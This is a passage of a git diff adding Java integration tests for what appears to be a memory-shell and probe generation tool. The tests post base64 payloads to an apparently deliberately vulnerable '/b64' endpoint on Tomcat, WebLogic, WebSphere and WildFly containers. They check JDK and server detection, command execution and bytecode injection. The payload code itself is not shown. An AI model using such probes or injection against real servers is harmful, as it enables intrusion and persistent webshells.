+            .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0_45|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat7ContainerTest {
+    public static final String imageName = "tomcat:7.0.85-jre7";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|1.7.0_171|51", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat8ContainerTest {
+    public static final String imageName = "tomcat:8-jre8";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|1.8.0_402|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java

@@ -0,0 +1,73 @@
+package com.reajason.javaweb.integration.probe.tomcat;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat9ContainerTest {
+    public static final String imageName = "tomcat:9-jre9";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|9.0.4|53", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.TOMCAT, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V9);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V9);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java

@@ -0,0 +1,73 @@
+package com.reajason.javaweb.integration.probe.weblogic;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+@Testcontainers
+@Slf4j
+public class WebLogic1036ContainerTest {
+    public static final String imageName = "reajason/weblogic:10.3.6";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(7001);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.WEBLOGIC, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromWebLogic(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromWebLogic(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.weblogic;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+@Testcontainers
+@Slf4j
+public class WebLogic12214ContainerTest {
+    public static final String imageName = "reajason/weblogic:12.2.1.4";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(7001);
+
+    @AfterAll
+    public static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_411|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.WEBLOGIC, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromWebLogic(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromWebLogic(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java

@@ -0,0 +1,73 @@
+package com.reajason.javaweb.integration.probe.weblogic;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+@Testcontainers
+@Slf4j
+public class WebLogic14110ContainerTest {
+    public static final String imageName = "reajason/weblogic:14.1.1.0";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(7001);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_391|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromWebLogic(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.WEBLOGIC, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromWebLogic(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromWebLogic(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java

@@ -0,0 +1,83 @@
+package com.reajason.javaweb.integration.probe.websphere;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.BindMode;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.time.Duration;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+@Testcontainers
+@Slf4j
+public class WebSphere855ContainerTest {
+    public static final String imageName = "reajason/websphere:8.5.5.24";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
+            .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
+            .withExposedPorts(9080)
+            .withPrivilegedMode(true);
+
+    @AfterAll
+    public static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_371|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.WEBSPHERE, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromWAS(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromWAS(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java

@@ -0,0 +1,77 @@
+package com.reajason.javaweb.integration.probe.websphere;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.BindMode;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.time.Duration;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+@Testcontainers
+@Slf4j
+public class WebSphere905ContainerTest {
+    public static final String imageName = "reajason/websphere:9.0.5.17";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
+            .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
+            .withExposedPorts(9080)
+            .withPrivilegedMode(true);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_381|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.WEBSPHERE, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrlFromWAS(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrlFromWAS(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java

@@ -0,0 +1,63 @@
+package com.reajason.javaweb.integration.probe.websphere7;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.BindMode;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.time.Duration;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+@Testcontainers
+@Slf4j
+public class WebSphere700ContainerTest {
+    public static final String imageName = "reajason/websphere:7.0.0.21";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
+            .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
+            .withExposedPorts(9080)
+            .withPrivilegedMode(true);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.6.0|50", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromWAS(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.WEBSPHERE, data);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.wildfly;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Wildfly18ContainerTest {
+    public static final String imageName = "jboss/wildfly:18.0.1.Final";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|11.0.5|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.UNDERTOW, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.wildfly;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@Slf4j
+@Testcontainers
+public class Wildfly23ContainerTest {
+    public static final String imageName = "jboss/wildfly:23.0.2.Final";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|11.0.8|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.UNDERTOW, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
